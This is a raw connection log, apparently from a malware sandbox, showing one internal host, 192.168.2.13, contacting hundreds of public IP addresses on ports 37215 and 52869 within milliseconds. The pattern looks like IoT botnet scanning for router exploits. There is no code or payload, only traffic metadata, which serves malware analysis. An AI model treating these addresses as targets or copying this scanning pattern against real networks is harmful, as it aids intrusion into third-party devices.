Jul 20, 2024 23:00:58.540661097 CEST	50563	37215	192.168.2.13	157.101.149.150
Jul 20, 2024 23:00:58.540661097 CEST	50563	37215	192.168.2.13	197.166.97.17
Jul 20, 2024 23:00:58.540661097 CEST	50563	37215	192.168.2.13	4.163.190.243
Jul 20, 2024 23:00:58.540780067 CEST	50563	37215	192.168.2.13	157.171.167.12
Jul 20, 2024 23:00:58.541704893 CEST	50563	37215	192.168.2.13	197.124.222.24
Jul 20, 2024 23:00:58.541704893 CEST	50563	37215	192.168.2.13	157.213.124.92
Jul 20, 2024 23:00:58.541706085 CEST	50563	37215	192.168.2.13	152.30.0.248
Jul 20, 2024 23:00:58.541706085 CEST	50563	37215	192.168.2.13	197.112.240.13
Jul 20, 2024 23:00:58.541706085 CEST	50563	37215	192.168.2.13	157.191.44.134
Jul 20, 2024 23:00:58.541706085 CEST	50563	37215	192.168.2.13	143.39.235.18
Jul 20, 2024 23:00:58.541706085 CEST	50563	37215	192.168.2.13	197.155.50.29
Jul 20, 2024 23:00:58.541706085 CEST	50563	37215	192.168.2.13	41.116.6.21
Jul 20, 2024 23:00:58.541896105 CEST	37215	50563	41.255.114.202	192.168.2.13
Jul 20, 2024 23:00:58.541948080 CEST	50563	37215	192.168.2.13	41.255.114.202
Jul 20, 2024 23:00:58.541954041 CEST	37215	50563	157.161.52.19	192.168.2.13
Jul 20, 2024 23:00:58.541996002 CEST	50563	37215	192.168.2.13	157.161.52.19
Jul 20, 2024 23:00:58.542011023 CEST	37215	50563	37.50.200.38	192.168.2.13
Jul 20, 2024 23:00:58.542042017 CEST	37215	50563	197.204.98.25	192.168.2.13
Jul 20, 2024 23:00:58.542048931 CEST	50563	37215	192.168.2.13	37.50.200.38
Jul 20, 2024 23:00:58.542119980 CEST	37215	50563	110.202.3.118	192.168.2.13
Jul 20, 2024 23:00:58.542150974 CEST	37215	50563	157.230.111.60	192.168.2.13
Jul 20, 2024 23:00:58.542177916 CEST	50563	37215	192.168.2.13	197.204.98.25
Jul 20, 2024 23:00:58.542181015 CEST	37215	50563	197.209.60.212	192.168.2.13
Jul 20, 2024 23:00:58.542231083 CEST	50563	37215	192.168.2.13	110.202.3.118
Jul 20, 2024 23:00:58.542301893 CEST	50563	37215	192.168.2.13	197.209.60.212
Jul 20, 2024 23:00:58.542393923 CEST	50563	37215	192.168.2.13	197.97.128.59
Jul 20, 2024 23:00:58.542393923 CEST	50563	37215	192.168.2.13	41.159.197.0
Jul 20, 2024 23:00:58.542393923 CEST	50563	37215	192.168.2.13	197.177.149.36
Jul 20, 2024 23:00:58.542393923 CEST	50563	37215	192.168.2.13	41.66.79.3
Jul 20, 2024 23:00:58.542393923 CEST	50563	37215	192.168.2.13	172.133.249.30
Jul 20, 2024 23:00:58.542393923 CEST	50563	37215	192.168.2.13	41.35.143.124
Jul 20, 2024 23:00:58.542395115 CEST	50563	37215	192.168.2.13	110.216.253.90
Jul 20, 2024 23:00:58.542395115 CEST	50563	37215	192.168.2.13	41.255.201.78
Jul 20, 2024 23:00:58.542438984 CEST	37215	50563	41.150.243.200	192.168.2.13
Jul 20, 2024 23:00:58.542470932 CEST	37215	50563	197.70.102.93	192.168.2.13
Jul 20, 2024 23:00:58.542484045 CEST	50563	37215	192.168.2.13	41.150.243.200
Jul 20, 2024 23:00:58.542503119 CEST	37215	50563	41.186.86.221	192.168.2.13
Jul 20, 2024 23:00:58.542510033 CEST	50563	37215	192.168.2.13	197.70.102.93
Jul 20, 2024 23:00:58.542553902 CEST	37215	50563	52.138.177.196	192.168.2.13
Jul 20, 2024 23:00:58.542584896 CEST	37215	50563	157.181.146.64	192.168.2.13
Jul 20, 2024 23:00:58.542587042 CEST	50563	37215	192.168.2.13	41.186.86.221
Jul 20, 2024 23:00:58.542596102 CEST	50563	37215	192.168.2.13	52.138.177.196
Jul 20, 2024 23:00:58.542614937 CEST	37215	50563	183.18.158.37	192.168.2.13
Jul 20, 2024 23:00:58.542644978 CEST	37215	50563	157.138.203.32	192.168.2.13
Jul 20, 2024 23:00:58.542659044 CEST	50563	37215	192.168.2.13	183.18.158.37
Jul 20, 2024 23:00:58.542675018 CEST	37215	50563	2.69.54.160	192.168.2.13
Jul 20, 2024 23:00:58.542710066 CEST	37215	50563	41.237.188.97	192.168.2.13
Jul 20, 2024 23:00:58.542725086 CEST	50563	37215	192.168.2.13	2.69.54.160
Jul 20, 2024 23:00:58.542757988 CEST	50563	37215	192.168.2.13	41.237.188.97
Jul 20, 2024 23:00:58.542767048 CEST	37215	50563	157.156.49.184	192.168.2.13
Jul 20, 2024 23:00:58.542798996 CEST	37215	50563	197.238.40.168	192.168.2.13
Jul 20, 2024 23:00:58.542814970 CEST	50563	37215	192.168.2.13	157.156.49.184
Jul 20, 2024 23:00:58.542829037 CEST	37215	50563	197.17.13.19	192.168.2.13
Jul 20, 2024 23:00:58.542836905 CEST	50563	37215	192.168.2.13	197.238.40.168
Jul 20, 2024 23:00:58.542860031 CEST	37215	50563	157.222.199.50	192.168.2.13
Jul 20, 2024 23:00:58.542871952 CEST	50563	37215	192.168.2.13	197.17.13.19
Jul 20, 2024 23:00:58.542890072 CEST	37215	50563	157.45.88.204	192.168.2.13
Jul 20, 2024 23:00:58.542921066 CEST	37215	50563	41.79.63.222	192.168.2.13
Jul 20, 2024 23:00:58.542939901 CEST	50563	37215	192.168.2.13	157.45.88.204
Jul 20, 2024 23:00:58.542949915 CEST	37215	50563	145.185.248.183	192.168.2.13
Jul 20, 2024 23:00:58.542958021 CEST	50563	37215	192.168.2.13	157.222.199.50
Jul 20, 2024 23:00:58.542979956 CEST	37215	50563	41.194.84.193	192.168.2.13
Jul 20, 2024 23:00:58.542993069 CEST	50563	37215	192.168.2.13	157.138.203.32
Jul 20, 2024 23:00:58.542993069 CEST	50563	37215	192.168.2.13	41.79.63.222
Jul 20, 2024 23:00:58.543009996 CEST	37215	50563	197.54.41.117	192.168.2.13
Jul 20, 2024 23:00:58.543020964 CEST	50563	37215	192.168.2.13	41.194.84.193
Jul 20, 2024 23:00:58.543042898 CEST	37215	50563	41.114.67.30	192.168.2.13
Jul 20, 2024 23:00:58.543072939 CEST	37215	50563	157.11.177.150	192.168.2.13
Jul 20, 2024 23:00:58.543097019 CEST	50563	37215	192.168.2.13	145.185.248.183
Jul 20, 2024 23:00:58.543102980 CEST	37215	50563	220.90.88.236	192.168.2.13
Jul 20, 2024 23:00:58.543114901 CEST	50563	37215	192.168.2.13	157.11.177.150
Jul 20, 2024 23:00:58.543133974 CEST	37215	50563	203.129.114.89	192.168.2.13
Jul 20, 2024 23:00:58.543163061 CEST	37215	50563	197.73.217.175	192.168.2.13
Jul 20, 2024 23:00:58.543190956 CEST	37215	50563	197.35.252.89	192.168.2.13
Jul 20, 2024 23:00:58.543210030 CEST	50563	37215	192.168.2.13	197.54.41.117
Jul 20, 2024 23:00:58.543210030 CEST	50563	37215	192.168.2.13	220.90.88.236
Jul 20, 2024 23:00:58.543210030 CEST	50563	37215	192.168.2.13	197.73.217.175
Jul 20, 2024 23:00:58.543220043 CEST	37215	50563	197.16.131.86	192.168.2.13
Jul 20, 2024 23:00:58.543231964 CEST	50563	37215	192.168.2.13	197.35.252.89
Jul 20, 2024 23:00:58.543248892 CEST	37215	50563	41.222.221.26	192.168.2.13
Jul 20, 2024 23:00:58.543267965 CEST	50563	37215	192.168.2.13	197.16.131.86
Jul 20, 2024 23:00:58.543267965 CEST	50563	37215	192.168.2.13	203.129.114.89
Jul 20, 2024 23:00:58.543289900 CEST	50563	37215	192.168.2.13	41.222.221.26
Jul 20, 2024 23:00:58.543423891 CEST	50563	37215	192.168.2.13	77.77.222.35
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	197.223.209.28
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	93.9.19.89
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	41.174.95.66
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	60.145.150.83
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	93.236.140.144
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	157.43.201.2
Jul 20, 2024 23:00:58.543425083 CEST	50563	37215	192.168.2.13	41.33.107.67
Jul 20, 2024 23:00:58.543718100 CEST	37215	50563	157.180.195.105	192.168.2.13
Jul 20, 2024 23:00:58.543749094 CEST	37215	50563	41.62.99.32	192.168.2.13
Jul 20, 2024 23:00:58.543755054 CEST	50563	37215	192.168.2.13	157.180.195.105
Jul 20, 2024 23:00:58.543778896 CEST	37215	50563	41.70.65.103	192.168.2.13
Jul 20, 2024 23:00:58.543800116 CEST	50563	37215	192.168.2.13	41.62.99.32
Jul 20, 2024 23:00:58.543809891 CEST	37215	50563	157.106.231.112	192.168.2.13
Jul 20, 2024 23:00:58.543823004 CEST	50563	37215	192.168.2.13	41.70.65.103
Jul 20, 2024 23:00:58.543858051 CEST	50563	37215	192.168.2.13	157.106.231.112
Jul 20, 2024 23:00:58.543917894 CEST	50563	37215	192.168.2.13	157.203.152.221
Jul 20, 2024 23:00:58.543917894 CEST	50563	37215	192.168.2.13	41.210.236.146
Jul 20, 2024 23:00:58.543917894 CEST	50563	37215	192.168.2.13	157.3.208.106
Jul 20, 2024 23:00:58.543917894 CEST	50563	37215	192.168.2.13	41.83.245.140
Jul 20, 2024 23:00:58.543919086 CEST	50563	37215	192.168.2.13	197.185.234.156
Jul 20, 2024 23:00:58.543919086 CEST	50563	37215	192.168.2.13	157.231.4.197
Jul 20, 2024 23:00:58.543919086 CEST	50563	37215	192.168.2.13	157.181.146.64
Jul 20, 2024 23:00:58.543919086 CEST	50563	37215	192.168.2.13	41.114.67.30
Jul 20, 2024 23:00:58.543943882 CEST	37215	50563	197.112.125.91	192.168.2.13
Jul 20, 2024 23:00:58.544004917 CEST	37215	50563	20.222.215.240	192.168.2.13
Jul 20, 2024 23:00:58.544034958 CEST	37215	50563	86.82.54.225	192.168.2.13
Jul 20, 2024 23:00:58.544038057 CEST	50563	37215	192.168.2.13	20.222.215.240
Jul 20, 2024 23:00:58.544049978 CEST	50563	37215	192.168.2.13	197.112.125.91
Jul 20, 2024 23:00:58.544073105 CEST	50563	37215	192.168.2.13	86.82.54.225
Jul 20, 2024 23:00:58.544132948 CEST	37215	50563	41.187.2.103	192.168.2.13
Jul 20, 2024 23:00:58.544163942 CEST	37215	50563	46.185.21.147	192.168.2.13
Jul 20, 2024 23:00:58.544174910 CEST	50563	37215	192.168.2.13	41.187.2.103
Jul 20, 2024 23:00:58.544199944 CEST	37215	50563	157.184.88.81	192.168.2.13
Jul 20, 2024 23:00:58.544210911 CEST	50563	37215	192.168.2.13	46.185.21.147
Jul 20, 2024 23:00:58.544234037 CEST	37215	50563	114.104.89.214	192.168.2.13
Jul 20, 2024 23:00:58.544264078 CEST	37215	50563	197.9.119.173	192.168.2.13
Jul 20, 2024 23:00:58.544294119 CEST	37215	50563	197.185.241.200	192.168.2.13
Jul 20, 2024 23:00:58.544306040 CEST	50563	37215	192.168.2.13	197.9.119.173
Jul 20, 2024 23:00:58.544387102 CEST	50563	37215	192.168.2.13	114.104.89.214
Jul 20, 2024 23:00:58.544501066 CEST	50563	37215	192.168.2.13	157.161.231.10
Jul 20, 2024 23:00:58.544501066 CEST	50563	37215	192.168.2.13	105.53.66.201
Jul 20, 2024 23:00:58.544501066 CEST	50563	37215	192.168.2.13	194.210.218.139
Jul 20, 2024 23:00:58.544502020 CEST	50563	37215	192.168.2.13	157.219.150.12
Jul 20, 2024 23:00:58.544502020 CEST	50563	37215	192.168.2.13	41.44.46.164
Jul 20, 2024 23:00:58.544502020 CEST	50563	37215	192.168.2.13	157.230.111.60
Jul 20, 2024 23:00:58.544847965 CEST	50563	37215	192.168.2.13	157.184.88.81
Jul 20, 2024 23:00:58.544847965 CEST	50563	37215	192.168.2.13	197.185.241.200
Jul 20, 2024 23:00:58.544970036 CEST	37215	50563	116.156.175.81	192.168.2.13
Jul 20, 2024 23:00:58.545002937 CEST	37215	50563	41.88.134.99	192.168.2.13
Jul 20, 2024 23:00:58.545016050 CEST	50563	37215	192.168.2.13	116.156.175.81
Jul 20, 2024 23:00:58.545034885 CEST	37215	50563	196.108.28.41	192.168.2.13
Jul 20, 2024 23:00:58.545052052 CEST	50563	37215	192.168.2.13	41.88.134.99
Jul 20, 2024 23:00:58.545052052 CEST	35940	37215	192.168.2.13	157.3.21.190
Jul 20, 2024 23:00:58.545066118 CEST	37215	50563	41.109.79.201	192.168.2.13
Jul 20, 2024 23:00:58.545077085 CEST	50563	37215	192.168.2.13	196.108.28.41
Jul 20, 2024 23:00:58.545095921 CEST	37215	50563	197.36.237.89	192.168.2.13
Jul 20, 2024 23:00:58.545099974 CEST	50563	37215	192.168.2.13	41.109.79.201
Jul 20, 2024 23:00:58.545126915 CEST	37215	50563	157.42.236.252	192.168.2.13
Jul 20, 2024 23:00:58.545131922 CEST	50563	37215	192.168.2.13	197.36.237.89
Jul 20, 2024 23:00:58.545157909 CEST	37215	50563	197.109.166.112	192.168.2.13
Jul 20, 2024 23:00:58.545161963 CEST	50563	37215	192.168.2.13	157.42.236.252
Jul 20, 2024 23:00:58.545188904 CEST	37215	50563	197.145.164.25	192.168.2.13
Jul 20, 2024 23:00:58.545219898 CEST	37215	50563	157.24.52.3	192.168.2.13
Jul 20, 2024 23:00:58.545226097 CEST	50563	37215	192.168.2.13	197.145.164.25
Jul 20, 2024 23:00:58.545244932 CEST	50563	37215	192.168.2.13	197.109.166.112
Jul 20, 2024 23:00:58.545249939 CEST	37215	50563	157.132.248.230	192.168.2.13
Jul 20, 2024 23:00:58.545258045 CEST	50563	37215	192.168.2.13	157.24.52.3
Jul 20, 2024 23:00:58.545279980 CEST	37215	50563	217.47.253.96	192.168.2.13
Jul 20, 2024 23:00:58.545310974 CEST	50563	37215	192.168.2.13	157.132.248.230
Jul 20, 2024 23:00:58.545311928 CEST	37215	50563	104.140.179.113	192.168.2.13
Jul 20, 2024 23:00:58.545320988 CEST	50563	37215	192.168.2.13	217.47.253.96
Jul 20, 2024 23:00:58.545341969 CEST	37215	50563	163.150.42.115	192.168.2.13
Jul 20, 2024 23:00:58.545362949 CEST	50563	37215	192.168.2.13	104.140.179.113
Jul 20, 2024 23:00:58.545372963 CEST	37215	50563	138.35.105.236	192.168.2.13
Jul 20, 2024 23:00:58.545387030 CEST	50563	37215	192.168.2.13	163.150.42.115
Jul 20, 2024 23:00:58.545407057 CEST	37215	50563	41.135.156.196	192.168.2.13
Jul 20, 2024 23:00:58.545412064 CEST	50563	37215	192.168.2.13	138.35.105.236
Jul 20, 2024 23:00:58.545438051 CEST	37215	50563	75.142.64.164	192.168.2.13
Jul 20, 2024 23:00:58.545454979 CEST	50563	37215	192.168.2.13	41.135.156.196
Jul 20, 2024 23:00:58.545466900 CEST	37215	50563	197.84.11.202	192.168.2.13
Jul 20, 2024 23:00:58.545468092 CEST	50563	37215	192.168.2.13	75.142.64.164
Jul 20, 2024 23:00:58.545497894 CEST	37215	50563	157.11.18.169	192.168.2.13
Jul 20, 2024 23:00:58.545505047 CEST	50563	37215	192.168.2.13	197.84.11.202
Jul 20, 2024 23:00:58.545526981 CEST	50563	37215	192.168.2.13	157.11.18.169
Jul 20, 2024 23:00:58.545527935 CEST	37215	50563	181.77.179.109	192.168.2.13
Jul 20, 2024 23:00:58.545558929 CEST	37215	50563	157.200.38.194	192.168.2.13
Jul 20, 2024 23:00:58.545567036 CEST	50563	37215	192.168.2.13	181.77.179.109
Jul 20, 2024 23:00:58.545588970 CEST	37215	50563	157.219.233.88	192.168.2.13
Jul 20, 2024 23:00:58.545603991 CEST	50563	37215	192.168.2.13	157.200.38.194
Jul 20, 2024 23:00:58.545622110 CEST	37215	50563	197.75.184.178	192.168.2.13
Jul 20, 2024 23:00:58.545630932 CEST	50563	37215	192.168.2.13	157.219.233.88
Jul 20, 2024 23:00:58.545655966 CEST	37215	50563	203.131.164.121	192.168.2.13
Jul 20, 2024 23:00:58.545660019 CEST	50563	37215	192.168.2.13	197.75.184.178
Jul 20, 2024 23:00:58.545692921 CEST	50563	37215	192.168.2.13	203.131.164.121
Jul 20, 2024 23:00:58.545711994 CEST	37215	50563	197.56.38.36	192.168.2.13
Jul 20, 2024 23:00:58.545743942 CEST	37215	50563	25.100.29.220	192.168.2.13
Jul 20, 2024 23:00:58.545751095 CEST	50563	37215	192.168.2.13	197.56.38.36
Jul 20, 2024 23:00:58.545773983 CEST	37215	50563	41.141.248.192	192.168.2.13
Jul 20, 2024 23:00:58.545782089 CEST	50563	37215	192.168.2.13	25.100.29.220
Jul 20, 2024 23:00:58.545805931 CEST	37215	50563	157.92.89.171	192.168.2.13
Jul 20, 2024 23:00:58.545829058 CEST	50563	37215	192.168.2.13	41.141.248.192
Jul 20, 2024 23:00:58.545841932 CEST	37215	50563	157.171.90.216	192.168.2.13
Jul 20, 2024 23:00:58.545851946 CEST	50563	37215	192.168.2.13	157.92.89.171
Jul 20, 2024 23:00:58.545871973 CEST	37215	50563	157.210.89.153	192.168.2.13
Jul 20, 2024 23:00:58.545902967 CEST	37215	50563	157.82.209.252	192.168.2.13
Jul 20, 2024 23:00:58.545927048 CEST	50563	37215	192.168.2.13	157.171.90.216
Jul 20, 2024 23:00:58.545927048 CEST	50563	37215	192.168.2.13	157.210.89.153
Jul 20, 2024 23:00:58.545933008 CEST	37215	50563	157.246.7.44	192.168.2.13
Jul 20, 2024 23:00:58.545938969 CEST	50563	37215	192.168.2.13	157.82.209.252
Jul 20, 2024 23:00:58.545964003 CEST	37215	50563	197.21.137.113	192.168.2.13
Jul 20, 2024 23:00:58.545983076 CEST	50563	37215	192.168.2.13	157.246.7.44
Jul 20, 2024 23:00:58.545994043 CEST	37215	50563	41.31.62.79	192.168.2.13
Jul 20, 2024 23:00:58.546009064 CEST	50563	37215	192.168.2.13	197.21.137.113
Jul 20, 2024 23:00:58.546024084 CEST	37215	50563	157.129.214.7	192.168.2.13
Jul 20, 2024 23:00:58.546030998 CEST	50563	37215	192.168.2.13	41.31.62.79
Jul 20, 2024 23:00:58.546053886 CEST	37215	50563	41.123.88.232	192.168.2.13
Jul 20, 2024 23:00:58.546061039 CEST	50563	37215	192.168.2.13	157.129.214.7
Jul 20, 2024 23:00:58.546083927 CEST	37215	50563	194.68.7.66	192.168.2.13
Jul 20, 2024 23:00:58.546087980 CEST	50563	37215	192.168.2.13	41.123.88.232
Jul 20, 2024 23:00:58.546112061 CEST	37215	50563	41.198.127.198	192.168.2.13
Jul 20, 2024 23:00:58.546142101 CEST	37215	50563	57.179.232.255	192.168.2.13
Jul 20, 2024 23:00:58.546154022 CEST	50563	37215	192.168.2.13	41.198.127.198
Jul 20, 2024 23:00:58.546156883 CEST	50563	37215	192.168.2.13	194.68.7.66
Jul 20, 2024 23:00:58.546170950 CEST	50563	37215	192.168.2.13	57.179.232.255
Jul 20, 2024 23:00:58.546170950 CEST	37215	50563	62.1.185.230	192.168.2.13
Jul 20, 2024 23:00:58.546179056 CEST	32874	37215	192.168.2.13	41.56.118.161
Jul 20, 2024 23:00:58.546200991 CEST	37215	50563	113.121.60.228	192.168.2.13
Jul 20, 2024 23:00:58.546231985 CEST	37215	50563	200.25.227.59	192.168.2.13
Jul 20, 2024 23:00:58.546238899 CEST	50563	37215	192.168.2.13	113.121.60.228
Jul 20, 2024 23:00:58.546246052 CEST	50563	37215	192.168.2.13	62.1.185.230
Jul 20, 2024 23:00:58.546262026 CEST	37215	50563	41.32.89.148	192.168.2.13
Jul 20, 2024 23:00:58.546278954 CEST	50563	37215	192.168.2.13	200.25.227.59
Jul 20, 2024 23:00:58.546293020 CEST	37215	50563	41.93.237.234	192.168.2.13
Jul 20, 2024 23:00:58.546305895 CEST	50563	37215	192.168.2.13	41.32.89.148
Jul 20, 2024 23:00:58.546323061 CEST	37215	50563	41.133.12.198	192.168.2.13
Jul 20, 2024 23:00:58.546338081 CEST	50563	37215	192.168.2.13	41.93.237.234
Jul 20, 2024 23:00:58.546351910 CEST	37215	50563	74.166.36.54	192.168.2.13
Jul 20, 2024 23:00:58.546370029 CEST	50563	37215	192.168.2.13	41.133.12.198
Jul 20, 2024 23:00:58.546386003 CEST	37215	50563	41.226.210.47	192.168.2.13
Jul 20, 2024 23:00:58.546396971 CEST	50563	37215	192.168.2.13	74.166.36.54
Jul 20, 2024 23:00:58.546427011 CEST	50563	37215	192.168.2.13	41.226.210.47
Jul 20, 2024 23:00:58.546446085 CEST	37215	50563	197.120.131.199	192.168.2.13
Jul 20, 2024 23:00:58.546475887 CEST	37215	50563	41.162.208.158	192.168.2.13
Jul 20, 2024 23:00:58.546502113 CEST	50563	37215	192.168.2.13	197.120.131.199
Jul 20, 2024 23:00:58.546506882 CEST	37215	50563	4.38.120.5	192.168.2.13
Jul 20, 2024 23:00:58.546509981 CEST	50563	37215	192.168.2.13	41.162.208.158
Jul 20, 2024 23:00:58.546535969 CEST	37215	50563	41.85.0.133	192.168.2.13
Jul 20, 2024 23:00:58.546566010 CEST	50563	37215	192.168.2.13	4.38.120.5
Jul 20, 2024 23:00:58.546566010 CEST	37215	50563	101.19.118.20	192.168.2.13
Jul 20, 2024 23:00:58.546581984 CEST	50563	37215	192.168.2.13	41.85.0.133
Jul 20, 2024 23:00:58.546597004 CEST	37215	50563	112.227.139.122	192.168.2.13
Jul 20, 2024 23:00:58.546612024 CEST	50563	37215	192.168.2.13	101.19.118.20
Jul 20, 2024 23:00:58.546627998 CEST	37215	50563	197.149.9.36	192.168.2.13
Jul 20, 2024 23:00:58.546643019 CEST	50563	37215	192.168.2.13	112.227.139.122
Jul 20, 2024 23:00:58.546658993 CEST	37215	50563	141.126.185.47	192.168.2.13
Jul 20, 2024 23:00:58.546668053 CEST	50563	37215	192.168.2.13	197.149.9.36
Jul 20, 2024 23:00:58.546689034 CEST	37215	50563	128.104.190.90	192.168.2.13
Jul 20, 2024 23:00:58.546719074 CEST	37215	50563	1.119.241.63	192.168.2.13
Jul 20, 2024 23:00:58.546720982 CEST	50563	37215	192.168.2.13	141.126.185.47
Jul 20, 2024 23:00:58.546720982 CEST	50563	37215	192.168.2.13	128.104.190.90
Jul 20, 2024 23:00:58.546749115 CEST	37215	50563	157.42.124.218	192.168.2.13
Jul 20, 2024 23:00:58.546756983 CEST	50563	37215	192.168.2.13	1.119.241.63
Jul 20, 2024 23:00:58.546778917 CEST	37215	50563	197.136.94.142	192.168.2.13
Jul 20, 2024 23:00:58.546782970 CEST	50563	37215	192.168.2.13	157.42.124.218
Jul 20, 2024 23:00:58.546811104 CEST	37215	50563	157.237.43.90	192.168.2.13
Jul 20, 2024 23:00:58.546819925 CEST	50563	37215	192.168.2.13	197.136.94.142
Jul 20, 2024 23:00:58.546840906 CEST	37215	50563	157.16.61.193	192.168.2.13
Jul 20, 2024 23:00:58.546854973 CEST	50563	37215	192.168.2.13	157.237.43.90
Jul 20, 2024 23:00:58.546870947 CEST	37215	50563	157.202.34.88	192.168.2.13
Jul 20, 2024 23:00:58.546881914 CEST	50563	37215	192.168.2.13	157.16.61.193
Jul 20, 2024 23:00:58.546900988 CEST	37215	50563	157.52.27.4	192.168.2.13
Jul 20, 2024 23:00:58.546911955 CEST	50563	37215	192.168.2.13	157.202.34.88
Jul 20, 2024 23:00:58.546937943 CEST	50563	37215	192.168.2.13	157.52.27.4
Jul 20, 2024 23:00:58.546960115 CEST	37215	50563	41.246.201.30	192.168.2.13
Jul 20, 2024 23:00:58.546989918 CEST	37215	50563	197.34.252.218	192.168.2.13
Jul 20, 2024 23:00:58.547004938 CEST	50563	37215	192.168.2.13	41.246.201.30
Jul 20, 2024 23:00:58.547019958 CEST	37215	50563	41.139.48.251	192.168.2.13
Jul 20, 2024 23:00:58.547035933 CEST	50563	37215	192.168.2.13	197.34.252.218
Jul 20, 2024 23:00:58.547049999 CEST	37215	50563	157.94.99.180	192.168.2.13
Jul 20, 2024 23:00:58.547060013 CEST	50563	37215	192.168.2.13	41.139.48.251
Jul 20, 2024 23:00:58.547080994 CEST	37215	50563	197.16.195.130	192.168.2.13
Jul 20, 2024 23:00:58.547096014 CEST	50563	37215	192.168.2.13	157.94.99.180
Jul 20, 2024 23:00:58.547110081 CEST	37215	50563	41.89.63.57	192.168.2.13
Jul 20, 2024 23:00:58.547123909 CEST	50563	37215	192.168.2.13	197.16.195.130
Jul 20, 2024 23:00:58.547139883 CEST	37215	50563	157.86.47.231	192.168.2.13
Jul 20, 2024 23:00:58.547152996 CEST	50563	37215	192.168.2.13	41.89.63.57
Jul 20, 2024 23:00:58.547169924 CEST	37215	50563	197.232.155.157	192.168.2.13
Jul 20, 2024 23:00:58.547188997 CEST	50563	37215	192.168.2.13	157.86.47.231
Jul 20, 2024 23:00:58.547188997 CEST	38980	37215	192.168.2.13	197.214.55.135
Jul 20, 2024 23:00:58.547199011 CEST	37215	50563	197.25.63.218	192.168.2.13
Jul 20, 2024 23:00:58.547220945 CEST	50563	37215	192.168.2.13	197.232.155.157
Jul 20, 2024 23:00:58.547230959 CEST	37215	50563	197.221.122.206	192.168.2.13
Jul 20, 2024 23:00:58.547260046 CEST	37215	50563	157.101.149.150	192.168.2.13
Jul 20, 2024 23:00:58.547261000 CEST	50563	37215	192.168.2.13	197.25.63.218
Jul 20, 2024 23:00:58.547276020 CEST	50563	37215	192.168.2.13	197.221.122.206
Jul 20, 2024 23:00:58.547291040 CEST	37215	50563	197.83.39.176	192.168.2.13
Jul 20, 2024 23:00:58.547311068 CEST	50563	37215	192.168.2.13	157.101.149.150
Jul 20, 2024 23:00:58.547338009 CEST	50563	37215	192.168.2.13	197.83.39.176
Jul 20, 2024 23:00:58.547343016 CEST	37215	50563	41.143.166.117	192.168.2.13
Jul 20, 2024 23:00:58.547374010 CEST	37215	50563	4.163.190.243	192.168.2.13
Jul 20, 2024 23:00:58.547389984 CEST	50563	37215	192.168.2.13	41.143.166.117
Jul 20, 2024 23:00:58.547403097 CEST	37215	50563	41.7.92.14	192.168.2.13
Jul 20, 2024 23:00:58.547411919 CEST	50563	37215	192.168.2.13	4.163.190.243
Jul 20, 2024 23:00:58.547432899 CEST	37215	50563	41.191.5.78	192.168.2.13
Jul 20, 2024 23:00:58.547446012 CEST	50563	37215	192.168.2.13	41.7.92.14
Jul 20, 2024 23:00:58.547462940 CEST	37215	50563	197.49.84.205	192.168.2.13
Jul 20, 2024 23:00:58.547488928 CEST	50563	37215	192.168.2.13	41.191.5.78
Jul 20, 2024 23:00:58.547516108 CEST	50563	37215	192.168.2.13	197.49.84.205
Jul 20, 2024 23:00:58.547588110 CEST	50566	52869	192.168.2.13	112.104.240.153
Jul 20, 2024 23:00:58.547679901 CEST	50566	52869	192.168.2.13	173.70.195.138
Jul 20, 2024 23:00:58.547683954 CEST	50566	52869	192.168.2.13	52.188.85.89
Jul 20, 2024 23:00:58.547692060 CEST	50566	52869	192.168.2.13	168.214.55.135
Jul 20, 2024 23:00:58.547693014 CEST	50566	52869	192.168.2.13	82.246.219.130
Jul 20, 2024 23:00:58.547693968 CEST	50566	52869	192.168.2.13	52.185.40.220
Jul 20, 2024 23:00:58.547724009 CEST	50566	52869	192.168.2.13	47.131.156.7
Jul 20, 2024 23:00:58.547739029 CEST	50566	52869	192.168.2.13	153.88.175.187
Jul 20, 2024 23:00:58.547740936 CEST	50566	52869	192.168.2.13	202.179.114.114
Jul 20, 2024 23:00:58.547751904 CEST	50566	52869	192.168.2.13	166.157.8.210
Jul 20, 2024 23:00:58.547760963 CEST	50566	52869	192.168.2.13	31.175.187.129
Jul 20, 2024 23:00:58.547760963 CEST	50566	52869	192.168.2.13	202.159.56.129
Jul 20, 2024 23:00:58.547769070 CEST	50566	52869	192.168.2.13	223.161.169.143
Jul 20, 2024 23:00:58.547772884 CEST	50566	52869	192.168.2.13	163.209.94.25
Jul 20, 2024 23:00:58.547801018 CEST	50566	52869	192.168.2.13	89.116.1.211
Jul 20, 2024 23:00:58.547810078 CEST	50566	52869	192.168.2.13	204.46.251.166
Jul 20, 2024 23:00:58.547813892 CEST	50566	52869	192.168.2.13	122.167.75.170
Jul 20, 2024 23:00:58.547852993 CEST	50566	52869	192.168.2.13	180.57.201.161
Jul 20, 2024 23:00:58.547867060 CEST	50566	52869	192.168.2.13	104.26.83.71
Jul 20, 2024 23:00:58.547867060 CEST	50566	52869	192.168.2.13	154.157.246.72
Jul 20, 2024 23:00:58.547867060 CEST	50566	52869	192.168.2.13	130.206.211.129
Jul 20, 2024 23:00:58.547871113 CEST	50566	52869	192.168.2.13	152.161.224.79
Jul 20, 2024 23:00:58.547882080 CEST	50566	52869	192.168.2.13	162.160.111.35
Jul 20, 2024 23:00:58.547905922 CEST	50566	52869	192.168.2.13	58.55.6.110
Jul 20, 2024 23:00:58.547905922 CEST	50566	52869	192.168.2.13	40.11.215.79
Jul 20, 2024 23:00:58.547930956 CEST	50566	52869	192.168.2.13	119.44.232.241
Jul 20, 2024 23:00:58.547930956 CEST	50566	52869	192.168.2.13	4.26.18.222
Jul 20, 2024 23:00:58.547936916 CEST	50566	52869	192.168.2.13	162.120.56.216
Jul 20, 2024 23:00:58.547936916 CEST	50566	52869	192.168.2.13	64.111.121.228
Jul 20, 2024 23:00:58.547936916 CEST	50566	52869	192.168.2.13	160.89.205.146
Jul 20, 2024 23:00:58.547950029 CEST	50566	52869	192.168.2.13	103.233.66.3
Jul 20, 2024 23:00:58.547950029 CEST	50566	52869	192.168.2.13	39.238.204.107
Jul 20, 2024 23:00:58.547975063 CEST	50566	52869	192.168.2.13	219.121.3.137
Jul 20, 2024 23:00:58.547975063 CEST	50566	52869	192.168.2.13	100.58.169.89
